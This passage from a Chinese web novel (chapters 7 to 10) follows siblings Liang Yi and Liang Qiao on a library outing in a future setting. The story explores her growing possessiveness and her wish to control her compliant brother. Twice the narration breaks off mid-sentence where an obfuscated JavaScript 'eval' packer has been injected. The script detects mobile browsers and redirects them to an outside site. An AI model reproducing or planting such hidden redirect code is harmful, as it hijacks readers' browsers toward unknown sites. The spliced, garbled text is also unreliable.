“还有一瞿和骄阳。”梁翘自来熟地坐在梁意的书桌前翻看他的书本,头也不抬。 梁意的心瞬间跌落到底,空洞洞的难受。 所以……还是为了朋友,并不是想要和他一起…… 他咽下所有未尽之语,只是答应。 “好。” 7. 接触 梁青澄果然同意。 倒并不是因为梁意去求情,也不是相信了他口中所谓的‘和妹妹去学习’。只是她很清楚梁翘的德性,能够在家里老老实实待一周已经很难得了,不好逼得太紧。 既然梁意来求,索性睁一只眼闭一只眼随他们去。 梁意将这个消息告诉梁翘的时候,梁翘还坐在他的书桌前边翻看着什么。 是一本梁意小时候写的日记本,梁翘看得津津有味,看到兴起打算把日记本拿起来躺到沙发上去看,这一起身就看见了刚进门的梁意。 梁意见她拿着自己的日记本,一脸无奈:“都看了这么多回了,还没看腻吗。” 梁翘摇头,走了两步仰倒在沙发上,手指还在翻着。 “妈妈已经同意了。” “嗯嗯,我知道她肯定会同意的。” 梁翘敷衍两句,注意力还集中在手中的小册子上。 那是梁意从幼儿园开始记录,直到上小学之后渐渐懂事,不太愿意把自己的心事记录下来,才中断掉的日记本。 里面的笔迹从七扭八扭到稚嫩有型,梁翘每次都能从头看到尾。 她喜欢看这本日记的原因其实很简单,幼小的梁意几乎把自己整个生活重心都放在梁翘的身上,每一天都日记与其说是在记录自己,不如说是在记录梁翘。 透过那一个个稚嫩的字迹,梁翘可以从中感受到梁意对自己爱,她喜欢这种感觉,被梁意毫无保留地爱着的感觉。 她的名字很难写,梁意不太喜欢把她称为‘妹妹’,总是在日记里写作‘翘翘’。 可想而知这两个字对于一个刚刚学会握笔写字的小孩来说有多大难度,小小的一页纸,这两个字几乎就占了半页。 ‘翘翘,今天吃冰淇淋,一个,喜欢。’ ‘出门玩,翘翘,买玩具。’ ‘想翘翘,不在家’ ‘和翘翘,学折纸,开心。’ …… 这本日记梁意记录的并不多,其实也只有一个小册子,翻不了多久就能全部看完,梁翘这些年已经不知道看过多少遍了。 梁意见梁翘暂时没有理自己的意思,便拿过衣服准备去洗澡,想着梁翘看完应该就会离开了。 只是这次梁翘没有。 她对梁意的离开置若罔闻,专心翻着手中的日记本。 等到梁意洗完澡围着浴巾出来的时候,梁翘刚好准备起身出门,正撞见了推开浴室门的梁意。 她愣住,视线自然而然地从上扫到下。 梁意被她吓一跳,他以为梁翘早就走了,呆站了一会之后意识到自己是个什么状态,赶紧退回浴室,把门关上。 “哥,我走了啊。” 梁翘摸摸鼻子,把日记本放回梁意的书桌,推开门出去了。 好半晌,梁意才红着脸从浴室里出来。 回到自己房间的梁翘也并不平静。 她当然不是对自己的哥哥有其他想法,只是脑子里自然而然地想到了邓一瞿说发现自己好像喜欢梁意的那天。 作为梁意的妹妹,她对梁意的了解很深,只是随着双方年龄的增加,他们都会有意识的避开那些可能会尴尬的场景,比如刚刚那一幕。 不论梁意还是梁翘,只要在家,不是待在自己房间的情况下,从来都是衣着整齐,绝不会出现今天这样梁意裸着上半身围着条浴巾就出门的情况。 梁翘自然也不会太去注意自己哥哥衣服底下是什么样的。 今天偶然见到梁意的身体,她才惊觉,一切都和小时候不一样了。 18岁的梁意,和写下那些日记的梁意,已经有了很大的区别。 她突然有种怅然若失的感觉,流沙终逝于掌心。 梁意这么些年都让自己的生活围着梁翘打转,他的朋友很少,也很少主动交朋友,在那些梁翘渐渐长大跟他不再亲近的时刻,也只是默默等待。 梁翘突然意识到了这对于梁意来说似乎是有些不公平的。 她不能一边想让梁意事事以自己为先,一边想让梁意和其他人多接触接触, 而且现在她还有点接受不了梁意和其他人接触,只要一想到梁意的注意力不放在自己身上,她就感觉非常暴躁,难以接受。 一想到如果今天站在梁意房间的不是自己,而是其他人,见到梁意出浴的样子,她就暴躁的想杀人。 甚至看到更多,拥有更多,除了梁意的爱,还有梁意的一切…… 梁翘站在房间里,深深地吸了一口气,又慢慢呼出去,好让自己冷静。 冷静……只是因为不习惯而已。 总得习惯有这么一天,妹妹和伴侣总归是不一样的。 只要给自己重新找一个可以替代梁意与她亲密关系的人就好了。 时间久了就习惯了。 梁翘这样劝自己,压下心头所有情绪不再去想。 第二天早上,梁翘早早就起床了。 她昨天晚上脑子里乱糟糟的,一会梁意,一会邓一瞿,一会那个将要去接触的不知名男生。一晚上没睡好,早上起来就感觉有点头疼。 她洗漱完,揉着胀痛的脑袋来到餐厅,阿姨已经准备好了早餐。 郝闻在餐厅吃早餐,梁青澄不见人影,应该是已经走了。 “早啊,翘翘,周末起这么早?” 梁翘走过去坐在郝闻旁边,拿起一杯牛奶一饮而尽。 “今天我和哥哥要去图书馆。” 郝闻惊讶:“这么早去?我还以为你们得晚点再过去。” “我哥呢,这个点他不是已经起床了吗。” 梁翘嚼着牛角包看向郝闻。 郝闻朝外边扫了一眼,还没见着梁意的身影。 “出去跑步了,还得20分钟呢,你今天起太早了,平时周末你起床的时候你哥你已经跑完步洗完澡了。” 梁翘点头,心中暗叹,怪不得昨天看见梁意身材那么好。 其实她也锻炼,只是她不太喜欢顶着大太阳大汗淋漓地在外边跑步,她喜欢在自家健身房锻炼。 用邓一瞿的话来说,一身汗在外边被人看见都丢面儿,得时刻保证自己的形象是完美无瑕的。 梁翘虽然不太苟同这话,但确实不喜欢在外边运动。 等他们父女俩都吃完,在客厅里坐着休息的时候,梁意才推开门进来。 见着坐在沙发上的梁翘他一愣,打了个招呼之后就急匆匆地去洗澡了。 梁翘目送他上楼,心中想:谁说出一身汗就不完美无瑕了……梁意的头发衣服都湿了,也还是很完美的。 等到梁意洗完澡下楼已经九点了,他第一时间走到梁翘身边来跟她道歉。 “翘翘,对不起,我不知道你今天要这么早去。” 郝闻装作还在看电视,偷偷用眼角余光打量这俩孩子。 梁翘很自然地拉过梁意的手,起身带他往餐厅走去。 “没,我今天醒得早,我们不急,你先来吃早饭吧。” 梁家四个人周末的作息时间都不一样,梁青澄最早,梁意和郝闻次之,梁翘最晚,有时候也会是郝闻最晚。 厨房里有个阿姨在早上10点前是一直备着早饭的,完全按照他们的食量准备好,不多也不少。 梁意被她拉到餐厅坐下,阿姨赶紧把备着的早餐端出来。 他正准备吃,就见梁翘一直盯着自己看。 梁意疑惑地低头打量了一下自己的衣服,没看到有什么不对,又伸出手在脸上摸了一下,什么不对劲都没有。 “翘翘……你还没吃吗,一直看着我干什么?” 梁翘摇头,见梁意在她的注视下如坐针毡,颇有些食不知味的意思,只好起身回到客厅。 郝闻收回偷看的视线,装作认真看电视的样子,过了一会,低声向梁翘打听:“翘翘,今天你跟你哥去图书馆干嘛?” “学习呀,去图书馆还能干嘛。” “那……只有你们俩去吗。” “还有其他几个朋友。”梁翘不太想告诉她爸还有谁去,她总有种要把梁意带出去卖了的感觉,面对郝闻的追问,浑身不自在。“爸,你操心这个干啥?替我妈来打探的吗,你们放心吧,我绝对不会带我哥出去玩的,你们不相信我还不相信我哥呀。” 郝闻小声嘀咕:“相信小意还不如相信你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130383|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢,他什么都听你的,让他干啥就干啥。” 梁翘没听清,索性也不再追问,生怕郝闻问得更多。 等到梁意吃完早餐,梁翘问他拿过终端,给邓一瞿打了个电话。 邓一瞿一接电话就大吼大叫地问梁翘:“翘翘,你哥喜欢啥样的啊,我还在选衣服呢。” 梁意还站在她边上,这句话一个字没漏全听到耳朵里去了。 梁翘暗戳戳地打量她哥。 面无表情,也没有羞涩、脸红,只是平静地转身走远,体贴地给她们留下说话的空间。 “……随便穿吧,反正我哥听见了,他知道你有这份心就够了。” 邓一瞿那边一阵诡异的沉默。 梁翘纳闷,问她:“你到底有没有确定啊,你都不确定,这么着急上心干什么。” “我这是出于对你的尊重,如果是其他人,你看我能这样么。” “那我面子挺大的,”梁翘打趣一句,“真的,随便穿吧,就照你平时那么来。你都不确定自己喜不喜欢我哥呢,穿那么好看让我哥喜欢你啊?” 邓一瞿又沉默。 “……你说得也有道理,翘翘,我保证,这是最后一次了,我一定搞清楚。” 梁翘应了下来,看了眼时间,快到十点了,断了通讯便准备和梁意一起出门。 梁意和梁翘都会开悬浮车,蓝星的最小驾驶年龄是16岁,他们俩一早考了证。梁意很少开悬浮车出门,梁翘出门玩得多,开的也熟,今天自然也是她开车出去。 本来她说顺路去邓一瞿家接一下她,反正也就一脚路的事儿。但邓一瞿死活不愿意,说是那样掉面儿了,非要自己开车出去跟他们在图书馆汇合。 梁翘随她,只要不迟到就行。 这会儿车里只有她和梁意两个人,但谁都没有开口说话。 梁翘其实想说点什么,但又不知道从哪里开口。 从什么时候开始,她和梁意的关系变得这么别扭? 梁翘想到这就觉得气恼,像是跟自己较上劲似的,越觉得别扭,越想要打破这种别扭。 她清了清嗓子,开口提起一个话题:“哥,你上次跟我说的事儿,你放心,我不会干涉你和一瞿的私事。” 梁意侧过头看她,梁翘视线一直在看车外,没有跟他对视。 “你说的私事是什么意思?” “就是……之后啊。我帮一瞿是因为她是我的朋友,不管她是不是真的喜欢你,我都不会再干涉了。” “你的意思是,你不会要求我和邓一瞿在一起吗?” 梁翘大惊,“你怎么会这样想?我怎么可能要求你一定要和谁在一起,哪怕是一瞿也一样,这是你的自由啊。” 梁意又转回来,视线扫过车窗外不断变幻的街景,轻声答好。 梁翘却感觉不太对劲,梁意的问题太奇怪了,他怎么会有这种想法,她怎么可能去干涉梁意的恋爱自由? 就算……就算她有点不习惯梁意和别人亲密,也不代表她就要阻止梁意去发展新的感情,或者要求梁意跟某个人尽快确定关系。 梁意有自由选择的权利,她绝不可能干涉。 梁翘心中很乱,她索性把车停下,想跟梁意谈一谈。 “哥,难道我要求你就会答应吗?” 梁意没看她,也没说话。 “你说话呀,哥,你是不是不想和一瞿接触?如果你不愿意的话,我们现在就回家。” 梁意摇头:“我没有不愿意。” “那你怎么这么奇怪,我觉得你好像不太想跟一瞿接触。” 时间已经快到十点了,邓一瞿和江骄阳此时应该已经在前往图书馆的路上,或者已经到了。 那个梁翘想要去接触的学弟,应该也已经在图书馆学习了。 街道中行人、车辆往来,突兀停住的悬浮车吸引了许多打量的视线。 但梁翘完全没心情再去考虑那些事情,她满脑子都是梁意这些天里奇怪的反应和那个奇怪的问题。 梁意抬起头跟她对视,神色认真,声音低微又坚定地说:“只要是你要求的,希望我去做的,我都会愿意的,翘翘。” 8. 生气 梁翘没想到会听见这么一句话。 刚才乱糟糟堆在心口的问题似乎都溜走了,她心中一片空茫,看着梁意坚定的眼神好似被视线刺到了一般,慌乱转头。 车内的空气凝固起来,梁翘心乱得很。 悬浮车停在街边,许久没有动弹。 直到梁意的终端响起通话申请,他拿出来看,见是邓一瞿,便把终端递给梁翘。 梁翘攥着终端,呆坐一会,没有去接。 通话自动断掉,车内又安静下来。 梁翘抬起手摁了摁早起就感觉胀痛的额头,随后打开梁意的终端给邓一瞿发了一句消息。 “我们路上有点事耽误了,你们先找个地方呆着,马上过去。” 梁意一直在关注她这边的动静,见妹妹眉头皱起,手指放在太阳穴上边胡乱摁着,一脸不虞,下意识问她:“翘翘,怎么了,你头疼吗?” 梁翘摁了一会缓解那股胀痛感之后便启动了悬浮车重新上路,梁意见她没有搭理自己,以为她又被自己乱说话惹生气了,落寞地坐回去。 视线扫过车窗外时,才发现有些不对,这不是去市立图书馆的路。 “没睡好有点头疼,刚刚在想路,没注意你问我了。”梁意适时开口,回答了梁意的问题。 “翘翘,这不是去图书馆的路。” “嗯,我知道,我们待会再去,我先找个地方停车。” 梁翘刚刚没说话就是在想这附近有没有哪里可以停悬浮车的,她再把悬浮车停路边,执勤机器人就得过来警告了。 “头疼的厉害吗?等会我给你摁摁。”梁意浑不在意梁翘要把车子开到哪里去,他最擅长的事情,就是听从梁翘的指挥。 此刻他只关心梁翘昨晚为什么没睡好,现在头疼的厉害吗,难不难受。 “好,等会我把车子停在瑞园,到时候你给我摁摁。” 瑞园是一个饭店的名字,正好离这里不远,梁翘是这里的常客,她喜欢这家的味道。 没多久,瑞园到了。 拒绝了侍者向前想要泊车的请示,梁翘停好悬浮车,没下车,打算就在这里跟梁意谈一谈。 梁意早把那件事抛在脑后了,车子刚停好,他就凑过来给梁翘按摩。 这件事他做得很熟练,梁翘爱玩,熬夜是常事,每次早上起来头疼的时候,都是梁意给她按摩舒缓的。 梁翘静坐了一会,闭上眼睛感受梁意的指尖按压的力度,他离得很近,连呼吸声都都足以被梁翘听见。 只是安静了很短暂的一会,梁翘开口问:“哥,如果我希望你和一瞿在一起,你也愿意吗?” “嗯,我愿意的。”梁意按摩的手没有丝毫停顿,这句话很自然地从他嘴里流淌出来。 梁翘继续问:“就算你不喜欢也愿意?” “我喜不喜欢不重要。” 只要妹妹喜欢就可以,他最擅长听妹妹的话。 梁翘只感觉一阵燥火直冲头顶,被梁意舒缓按摩的地方没有丝毫缓解,反而越发绷紧胀痛。 “为什么你喜不喜欢不重要?哥,这是你的人生,”梁翘拉下他的手,回过头怒目而视,“如果我要求你和一个你压根不认识的人在一起呢?如果我要求你和一个你讨厌的人过一辈子呢?也不重要吗?你也不在乎吗?也能愿意吗?” 梁意看着她脸上的怒容浑身僵硬,这次他没再说不重要,他感觉自己隐约摸到一点梁翘生气的原因了。 于是他仔细思考了一下,企图从内心深处挖出那个最真实的想法,然后掏出来讲给梁翘听。 他觑着梁翘的神色,小心翼翼,一字一顿地说:“我……在乎,但是我也愿意的,翘翘,我会听你的话。” 梁翘气得一拳锤向驾驶面板。梁意赶紧拉过她的手检查,见没有伤口才放心。 她深吸一口气又呼出来,冷笑一声:“所以到底有多少事,你不愿意,但是因为我让你去做,你就去做了呢。” 梁意被她说得怔住,赶忙解释:“没有,我真的愿意,翘翘,如果我不愿意我就不会做了。” “是,我让你做什么事你都愿意。” “嗯……这样不好吗?”梁意打量着梁翘,她似乎已经冷静下来了,只是情绪仍然不佳。 梁翘没再说话,不提问,也不回答。 她坐回驾驶座,用后脑勺对着梁意。 梁意知道自己又惹了她生气,但还是舍不得梁翘头疼,又凑过去给梁翘按摩。 梁翘这会儿确实已经冷静下来了,她的头脑前所未有的清醒。 如果梁意完全不考虑自己的个人想法与好恶,只是一味的顺从她,也没有关系。她会帮梁意选出那条最好、最顺、最幸福的路。 只要她做出正确的决定与选择,梁意就会幸福。 梁意可以继续保持他的信任与依赖,不需要去顾虑太多。 这样很好,如果梁意不喜欢邓一瞿,她可能还需要操心梁意以后会和什么样的人在一起,会不会过得好;但现在完全没有这个必要了,只要她把控好这一切就可以了。 想通之后,梁翘反而畅快起来,这种被梁意毫无保留地信赖,可以掌控梁意全部的感觉实在让人上瘾。 “挺好的,哥,以后你听我的就可以了。我们过去吧,一瞿她们该等急了。” 梁意点头,见她眉眼间确实没了躁郁之感,一颗心放回肚子里,也回去坐好。 悬浮车开出瑞园之后,不过十分钟,市立图书馆就到了。 停好车,梁翘用梁意的终端联系邓一瞿,邓一瞿回复的很快,她们已经在图书馆二楼了。 两人走进去之后径自上了二楼,邓一瞿和江骄阳占着一张桌子,面前各放着一本书,但都没有在看。 梁翘放轻脚步走过去,从背后撞了一下邓一瞿的肩膀。 邓一瞿被她吓一跳,从凳子上弹跳起身,发出一声巨大的噪音。 “我靠,梁翘!你吓我干什么。” 见周围的人都看过来,梁翘赶紧拉过梁意坐下,邓一瞿对着周围一圈用口型说了好几遍不好意思,才愤愤落座。 “你干什么呢,我不是说了我到了吗,这也能被我吓到?” 梁翘轻轻踢了她一下,她和梁意坐在了她们俩的对面,她面对着江骄阳,邓一瞿对面是梁意。 江骄阳今天只是来看戏的,见邓一瞿脸带薄红地跟梁意打招呼,忍俊不禁。 当然,也不一定是羞得,也许是被梁翘刚刚气得。 跟梁意打完招呼,邓一瞿才开口解释:“你小点声,我们刚刚在看松亭。” 梁翘挑起眉毛,“他在哪?” 江骄阳用手隐晦地指了一个方向,梁翘几人抬头看过去。 这一抬头就跟松亭对上了视线,他赶紧低头,几乎把脸埋在面前的书里。 “靠,你们几个干什么,同时看过去,生怕别人不知道我们在偷看吗!”江骄阳恨铁不成钢。 松亭离她们坐得不算近,但是这个角度打量起对方来都是一览无遗。 “来多久了?”梁翘问。 “我们到的时候已经看见他了,不知道他啥时候来的。” 上午十点,不算早的时间了,这会儿又快到毕业季了,图书馆的学生还挺多的,邓一瞿他们能找着这个位置也是费了心思的。 一旁的梁意听他们的对话,渐渐明白过来。 今天不只是为了给他和邓一瞿制造机会相处,妹妹……翘翘也有想要接触的男生了。 “哥,你先在这坐会,我去去就来。” 梁意默默点头,眼看着梁翘走过去。 邓一瞿自来熟地跟他搭话。“梁意哥,你们路上怎么了,耽误这么久。” 梁意的视线还放在不远处梁翘跟人搭讪的身影上,距离限制,他一点声音都听不见,也看不懂唇语。 “没什么事,去了一趟瑞园。”他下意识回答。 邓一瞿看出来梁意现在没心情聊天,以为他只是好奇梁翘跟人搭讪,便闭了嘴,准备等会再聊,也往那边看过去。 梁翘不知道说了什么,松亭的视线正在他们这里转着,邓一瞿一抬头就对上了他通红的脸。 下一秒松亭就把视线转回去,看着梁翘点了点头,收拾桌上的东西往他们这边过来。 梁翘也过来,但没有坐下,而是指着不远处的小型阅览室说:“去那吧,这里不好说话,我来的时候预定了一间。” 一行五人往阅览室走过去。 阅览室中间有一张大桌子,可以坐6-8人,梁翘第一个进去坐下,邓一瞿挤在她旁边。 梁意本想坐在梁翘另一边,但想到此行的目的,便坐在了梁翘的对面。 松亭和谁都不熟,场内只有梁意一个男生,便坐在了他的旁边。 最后进来的江骄阳慢悠悠地关上门,选了桌子短的那头坐下,像个主公一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“感觉挺有意思的,其实有些历史故事的趣味性很高,” 邓一瞿笑了一下:“翘翘就不太喜欢看这种东西。” 电梯轿厢下来,两人一同进入电梯,梁意伸手按下六楼。 “是,她喜欢科幻悬疑类的书,我听她说你也喜欢吧?” 邓一瞿点头,“差不多,我喜欢解密。” 电梯的速度很快,几乎都没用到半分钟,他们就已经到了。 六楼基本上全是正史,或者纪实文学,对这些类型感兴趣的人还是比较少的,相比二楼,这里的人要少许多。 梁意在六楼的指引机器人那里告知想要找寻的书籍,机器人很快给他们报了准确位置。 拿到书,梁意轻声问:“我们现在回去吗?” 邓一瞿本想应是,想到自习室内的松亭,还是免不了尴尬。见梁意没有反感的意思,她指了指六楼的阅览区,“我们在这待会儿吧。” 梁意问出口的同时就已经知道了邓一瞿会有什么样的回答,他走过去坐下,把手中的《蓝星纪事》放好。 打开第一页,是一段他已经非常熟悉的话—— 本书新编于蓝星新历2030年。 有许多事情都与千年前的旧历蓝星不一样了。 新历的起因是一场几近灭族的灾祸。 只是平凡的一天,遥远的外星系敌人忽然对蓝星展开进攻。 这些异族有坚硬的外壳,过硬的身体素质,与远超蓝星科技水平的武器。 坚韧不拔的人类在面对星系外敌人一次又一次的进攻时,没有任何一个人选择退缩。 科技水平跟不上就研究,武力比不上就拼人数。 战场上满目疮痍、死伤无数,将近9成的人类倒在战场上再也没有醒来,剩下的1成也伤势严重。 这样一个惨烈的结果,为蓝星换来了千年的平静。 但战争所造成的后果远不止于此。 仅存的人类绝大部分罹患战争创伤后遗症,在战后第一年,剩下的人类减少了50%。 蓝星岌岌可危,人类将要灭绝。 但,就如旧历历史中我们一次又一次的存活,我们对抗一切,我们战胜一切。 人类战胜敌人,也战胜自己。 经过上百年的休养生息,人类数量终于呈稳步上升趋势。 只是基因病问题截止2030年仍未得到解决。 望所有观看此书的读者谨记,为了蓝星文明的未来,解决基因病问题迫在眉睫。 请对抗它,战胜它。 9. 相处 邓一瞿见梁意已经翻开手上的书开始看,便也起身去找了一本书。 这一层的书籍类型她不太感兴趣,但想到梁意刚才说的话,问指引机器人找了一本用漫画形式讲述历史小故事的科普书,坐在梁意对面翻看起来。 他们两人彼此心知肚明这次独处的原因,都十分坦然,毕竟也是认识十多年的关系,虽然算不上熟悉,但也不会没有话说。 梁意和邓一瞿静静地看书,偶尔说起两句也有来有往,气氛很是和谐。 楼下的阅览室就不一样了。 走了两个人之后,诡异的气氛非但没有改善,一路急转直下。 松亭每周都来市立图书馆自然不是来玩的,他手中拿着一本书,包里还有几本,安静地坐在原地翻看。 梁翘想跟他搭话,又觉得自己和江骄阳这样两手空空坐在这里太过司马昭之心,拖着人出去随便找了两本书又进来。 松亭表情都没变过,不论她们俩出去还是进来都没有任何反应,也不说话。 “学弟,你在看什么书呢,是在复习吗。” 梁翘随意翻了两下手中书籍,她拿了一本历年高考真题集,想着跟成绩好的学弟套套近乎,从这方面聊起。 虽然高考在即,但她并不是很重视,一是因为心中有数,二是因为在3044年的蓝星,高考重要却没有那么重要,所有人的态度都那样,不会给自己太大压力。 松亭只冷淡地回了两个字:“不是。” “什么书啊,能跟我说说吗?”梁翘指尖点着书皮封面,撑着下巴打量坐在自己对面的松亭,漫不经心地顺着他的话接下去。 松亭是她精挑细选出来的高冷男,完美符合个高和话少两个要求。他的身高大概在1.85米左右,前额的刘海有些长,所以低头看书的时候便会遮住眼睛,只露出挺翘的鼻尖和略薄的嘴唇。 只看外观,他其实是偏向于少年气的精致类型,只是身形单薄,瞧着有些阴郁。不似梁意那样英俊有型,面容俊朗,他的身材很好,放在高中生里边就显得有些成熟了。 梁翘想着想着突然一惊,她干什么,拿松亭和梁意做对比,梁意可是她哥。 “《林边》,你可以再去拿一本。” 松亭声音冷淡,看起来毫无交流的欲望。 但梁翘不在意,她仍然有一搭没一搭地接话,像是完成任务一样。 “讲得是什么,我没听过。” 邓一瞿和梁意怎么去了这么久,他们去干什么了,还没回来吗,会不会是已经离开图书馆去约会了。 她有点想打个通讯给梁意,但手摸到口袋,空荡荡的触感拉回了她蠢蠢欲动的想法。 “你可以自己去找,我没空。” 松亭不耐烦的声音打断了她漫无边际的猜想。 梁翘回过神来,看着松亭皱起眉头,松亭的抗拒和冷淡几乎写在脸上,她无法忽视。 她是想跟松亭接触没错,这会儿自己有些心不在焉也没错,但是选择都是双向的,她不认为松亭不明白自己为什么邀请他过来。 既然刚刚愿意来,现在又一脸反感是什么意思? 梁翘几乎觉得有些迷惑了,她又不会死缠烂打,松亭不愿意拒绝就是,她保证不会多问第二句。 “你好学弟,我是梁翘,高三(1)班的,这么巧在图书馆遇到了,和我们一起坐吧?” 就这么简单的一句问候。 松亭抬头看了她一眼,又把视线转过去看邓一瞿他们,满脸通红地点头答应下来,随后收拾东西和她们一起过来。 他的答应不是假的,脸红也不是假的。 既然不是因为她,那就是别人了。 梁翘抬起头打量坐在一旁的江骄阳,她不知去哪里买来一包薯片,咔嚓咔嚓地往嘴里塞,一脸兴味地看着梁翘吃瘪。 松亭对着她不太耐烦,也不见他跟江骄阳说话。他态度的变化貌似……是从邓一瞿和梁意出去开始的。 所以才记得邓一瞿,不是因为他的同班同学是邓一瞿的女朋友,是因为他喜欢邓一瞿。 梁翘摸摸下巴,这可就有些难办了。 倒不是介意松亭不喜欢自己,她本来也不喜欢松亭,只是想试着和他接触一下罢了。只是,他喜欢邓一瞿,那岂不是梁意的情敌了? 虽然现在说情敌还早,但她已经下定决心要给梁意找一个好归宿,身为她的好朋友,邓一瞿可是她暂定的首要人选。 没等她想太多,松亭见邓一瞿和梁意迟迟不回来,脸色愈发冷凝,他们一男一女单独出去这么久还没回来,这代表着什么已经很明显了。 他抿着嘴唇开始收拾东西,霍然起身,看向梁翘:“抱歉,我有事先走了。” 梁翘友好地和他告别,没再挽留。 等到松亭的身影消失在阅览室,江骄阳终于乐不可支地笑倒了。 “哎,这可是真高冷,被冻着嘴了吧,哈哈哈哈哈……” 梁翘叹了口气,确实,这是真高冷。 她哥只是看起来高冷,加上气质成熟,面容冷峻,瞧着不太好惹,但只要接触过就知道,梁意根本不是真高冷。 就算话少,也只是他本身的习惯导致,言简意赅,不喜欢废话太多。 松亭可是真的不耐烦跟人说话,十足十的真高冷。 “他喜欢邓一瞿。” 梁翘低声吐出一句话。 “啊??”江骄阳手上的薯片都掉了,“我靠,他喜欢……不是,你怎么知道的啊?那你还叫他过来!” “也是刚刚知道的。” “我不是一直坐这呢吗,他什么时候跟你说的?” 梁翘摇头,“我自己看出来的。” 这下可尴尬了,这是什么离谱的四角关系。 “所以,你们四个,靠……幸好我今天跟过来了,真精彩。” 梁翘白了她一眼,她正纠结,江骄阳还在一旁说风凉话。 “那你怎么打算?告诉一瞿吗?” 梁翘纠结的就是这个,已经知道人家喜欢邓一瞿了,她自然不会再凑上去,但要不要告诉邓一瞿,她还没有想明 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没等她们过去,邓一瞿就看见她们,站起身冲她们俩招手,梁意也拿起书转过身来。 梁翘和江骄阳拿的书纯粹是当摆设,送回引导机器人那里就可以了。但梁意在看的那本书他想要借走把它看完,邓一瞿也对看到一半的历史漫画书感兴趣,所以一人借阅了一本书带走。 “一瞿,你怎么在图书馆看漫画啊。”江骄阳笑嘻嘻地问,拨弄着邓一瞿手中的书籍。 邓一瞿收回手,扬起封面冲她晃了晃,“什么漫画,这是讲历史的。” “你居然有看历史书的一天?今天是什么日子啊,转性了。” 江骄阳早就看到梁意手上拿的是一本《蓝星纪事》,邓一瞿为什么看历史书已是昭然若揭,她心中感慨,感觉他们俩已经成了一半,不由出声打趣。 邓一瞿没回这句话,知道江骄阳的性子,再聊下去还不知道能从她嘴里说出什么话来。 梁意一直默不作声地听她们俩打闹,办好借阅手续之后几人便一起往停车场去。 四个人,开了三辆车过来,午饭点本就拥堵,几人便商量好一起坐梁翘的悬浮车过去,省得麻烦。 梁翘坐上驾驶位,梁意坐在她身边,另外两人坐在后边。 前面两兄妹谁也没说话,江骄阳和邓一瞿坐在后面倒是聊得热火朝天。 没再围绕着刚才借阅图书的话题展开,她们转而聊起最近新出的一款游戏。 她们三个一向是无话不说无话不谈的,只是今天梁意在这里,多少会顾忌一些,没那么放得开。 梁意也玩游戏,但不精通,没有贸然开口参与进去。但梁翘也没说话,就有些奇怪,梁意微微侧头打量她的神色。 什么也看不出来,梁翘的表情很正常。 梁意收回视线,静静听后面两人聊天,不再乱动。 他没再看,自然也不知道梁翘在他转回去之后面色逐渐冷淡下来。 10. 确定 梁意和她们几个不是第一次一起吃饭了,因为梁翘的原因,总有过那么几次接触,所以并不会觉得尴尬。 梁园的饭菜好吃,环境清雅,服务也好,她们常来,都不需要看菜单,一连串菜品名字就报了出去。 落座之后,梁意才想起来一件事。 “松亭呢?” 邓一瞿这时才反应过来少了个人,好奇地看向梁翘。 “他有事先走了。” 梁翘神情平静,嘴角还挂着点笑,非常坦然。 邓一瞿夸张地叹出一口气,对着她调侃道:“出师不利啊。” 梁意也看着妹妹,想要安慰一下她,想到还有两个朋友在这里又咽了回去。 算了,等回家的时候再问问吧,他都不知道关于‘松亭’的事情,也不知道妹妹和他接触多久了…… 江骄阳看看这个又看看那个,欲言又止止言又欲,这都什么事儿啊。 吃完饭后,梁翘先开车到了图书馆,来取江骄阳和邓一瞿的悬浮车。 下午他们没再待在图书馆看书。因为除了梁意之外,另外三个没人坐得住。 于是江骄阳提议去玩,她和邓一瞿在车里提到的那款刚刚上市的全息枪战模拟游戏这两天刚发布,需要去专门的游戏全息仓才能玩。 几人都很感兴趣,随即前往。 一路上,梁翘都在悄悄观察梁意和邓一瞿。 这两个人相处的很自然,偶尔聊起两句也是有来有回的,但偏偏看起来又没有什么暧昧的意思,坦然的不得了。 这是喜欢还是不喜欢? 梁翘没有谈恋爱的经验,也没喜欢过谁,她只能从两位好友数次恋爱的经历中翻找出一些关于喜欢和恋爱的痕迹,来辅助自己进行判断。 邓一瞿喜欢谁,一定是喜欢地轰轰烈烈,大胆热烈的追求,高调直白的示爱,不用多久就能看到她搂着一个人腻歪在一起。 江骄阳没有邓一瞿那么多花招,但她心里焉坏,喜欢谁都暗戳戳地去勾搭,直到那个人主动向她告白,才得意的接受。 这次算是哪种情况? 他们俩肯定都说开了,只是说开的结果是什么,她判断不出来。 一到地方,邓一瞿和江骄阳就急吼吼地往里冲。 她们三个也是这里的常客了,来的路上江骄阳就定好一间四人游戏仓。 四台全息游戏仓摆在房间里,邓一瞿和江骄阳二话不说就上前坐好,开始穿戴设备。 但梁翘有一点小小的洁癖,不算严重,平时如果是跟朋友一起来可能也就忍了,但今天梁意在这里。 梁意没让她坐下,从口袋里掏出一罐消毒喷雾,开始对着剩下那两台游戏仓上上下下里里外外的喷,这是他和梁翘一起出门的必备用品。 邓一瞿两人已经见怪不怪了,次数多了就不稀奇了。 一开始还会调笑两句,但梁翘脸皮厚不在乎,梁意又上来问她们俩需不需要给设备消消毒,她们赶紧闭嘴后退,不愿意让梁意也这么照顾自己。 其实这种大型连锁店铺的卫生清洁做的很到位,一客一清洗。如若梁意不在,梁翘也不会折腾这些,但梁意在这里,她就抱着手站到一旁等哥哥弄好。 等到梁翘两人也坐好,邓一瞿她们已经进入游戏开始注册账号了。 《降临日》是一款可以多人在线的枪战游戏,游戏设定参考了旧历那场死亡无数的保卫之战,主角是某军团的一名小兵,游戏开始后会被传送到战场的随机地点,敌人是入侵的外星异种。 